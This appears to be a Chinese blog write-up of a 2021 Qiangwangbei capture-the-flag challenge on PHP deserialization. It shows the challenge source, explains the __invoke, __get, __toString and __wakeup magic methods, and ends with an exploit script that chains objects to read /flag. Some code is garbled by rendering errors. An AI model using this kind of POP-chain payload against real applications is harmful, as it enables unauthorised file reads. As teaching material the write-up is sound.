2021-07-22ctf2021强网杯wp赌徒反序列化

class Start
{
public $name=‘guest’;
public $flag=‘syst3m(“cat 127.0.0.1/etc/hint”);’;

public function __construct(){
    echo "I think you need /etc/hint . Before this you need to see the source code";
}

public function _sayhello(){
    echo $this->name;
    return 'ok';
}

public function __wakeup(){
    echo "hi";
    $this->_sayhello();
}
public function __get($cc){
    echo "give you flag : ".$this->flag;
    return ;
}

}

class Info
{
private $phonenumber=123123;
public $promise=‘I do’;

public function __construct(){
    $this->promise='I will not !!!!';
    return $this->promise;
}

public function __toString(){
    return $this->file['filename']->ffiillee['ffiilleennaammee'];
}

}

class Room
{
public $filename=’/flag’;
public $sth_to_set;
public $a=’’;

public function __get($name){
    $function = $this->a;
    return $function();
}

public function Get_hint($file){
    $hint=base64_encode(file_get_contents($file));
    echo $hint;
    return ;
}

public function __invoke(){
    $content = $this->Get_hint($this->filename);
    echo $content;
}

}

if(isset(KaTeX parse error: Expected '}', got 'EOF' at end of input: … unserialize(_GET[‘hello’]);
}else{
$hi = new Start();
}

?>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75

是一道反序列化的题目,首先想到的应该是寻找_destruct,_construct方法看是否有命令执行的地方,
这里只存在一个__construct方法。这个方法不大行

public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

 
 
 
 
  • 1
  • 2
  • 3
  • 4

分析

其次在寻找魔法函数的时候,在ROOM类里面可以看见有一个get_hint方法,那么这个方法极大可能是我们最后需要调用的方法。
接下从这个方法往前面推,要想调用get_hint,必须调用_invoke(),_invoke是一个魔法函数,把实例化的对象当成函数使用,就会自动调用:

__invoke

举个例子:

<?php 
	class test1()
	{
	public $a='abc';
	public function __invoke()
		{
			echo “invoke !!\n”;
		}
	}
	$dog=new test1();
	$dog('123');
	$dog();
	//输出内容: invoke !!  invoke !!

 
 
 
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

知道了上面的调用方法,接下来再去寻找一下return的地方,因为这里要调用__invoke要求严格,必须先实例化,在当成函数使用,也就是说,必须是return Room();
而大多数return里面,仅仅return字符串,所以这样一来,我们能利用的return也就只有一个地方了:

    public function __get($name){
       $function = $this->a;
       return $function();
   }

 
 
 
 
  • 1
  • 2
  • 3
  • 4

a参数可控,这里可以让this->$a=new Room();后面return $function()的时候就是一个方法了。
!!这里自己当时被坑了一下,没有看见$function后面的括号!!

到目前为止,我们已经知道可以通过Room里面的__get方法可以调用__invoke方法拿到FLAG
接下来看一看,如何调用__get方法:

__get

__get方法调用条件是:访问一个私有属性或者一个不存在(没有初始化)的属性,举个例子:

<?php 
 class test1
 {
     public $a='1';
     private $c='2';
     public function __get($name)
     {
         echo "__get!!! \n";
 }

}
$b=new test1();
KaTeX parse error: Expected 'EOF', got '&' at position 3: b-&̲gt;a;
KaTeX parse error: Expected 'EOF', got '&' at position 3: b-&̲gt;c;
KaTeX parse error: Expected 'EOF', got '&' at position 3: b-&̲gt;asdas;
//输出: _get!!! _get!!! __get!!!

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

知道了怎么调用__get后,再去其他两个类寻找一下入口:

// class info
public function __toString(){
     return $this->file['filename']->ffiillee['ffiilleennaammee'];
 }

 
 
 
 
  • 1
  • 2
  • 3
  • 4

那么很显然,要调用Room中的__get方法,这里__tostring方法中的file[‘filename’]应该是new Room(),fifilee[
ffiilleennaammee]不存在 ,就可以调用了那么如何调用_tostring方法

_tostring

_tostring方法在输出、打印实例化对象的时候被调用,举个例子:

<?php 
 class test1
 {
     public $a='1';
     private $c='2';
     public function __tostring()
     {
         echo '__tostring!!';
     }
 }
 $b=new test1();
 echo new test1();
 echo $b;

 
 
 
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

接下来就是去找可以echo或者return的地方

//class Start
public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

 
 
 
 
  • 1
  • 2
  • 3
  • 4
  • 5

接下来就是顺理成章的调用_sayhello ,剩下的就很简单了,实例化Start类,自动调用wakeup方法,从而调用_sayhello方法,参数我们都可以控制

EXP

<?php
class Start{}
class Info{}
class Room{
public function __construct(){
$this->filename = "/flag";
}
}
$a = new Start();
$b = new Info();
$c = new Room();
$c->a = new Room();
$b->file['filename'] = $c;
$a->name = $b;
echo serialize($a);
?>

 
 
 
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

调用流程:

从下往上依次调用
在这里插入图片描述

总结

这道题还是比较基础,都是考察简单的魔术方法,基础很重要,复现的时候可以自己搭环境调试看看整个流程。
有写得不对的地方,希望师傅们指出

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值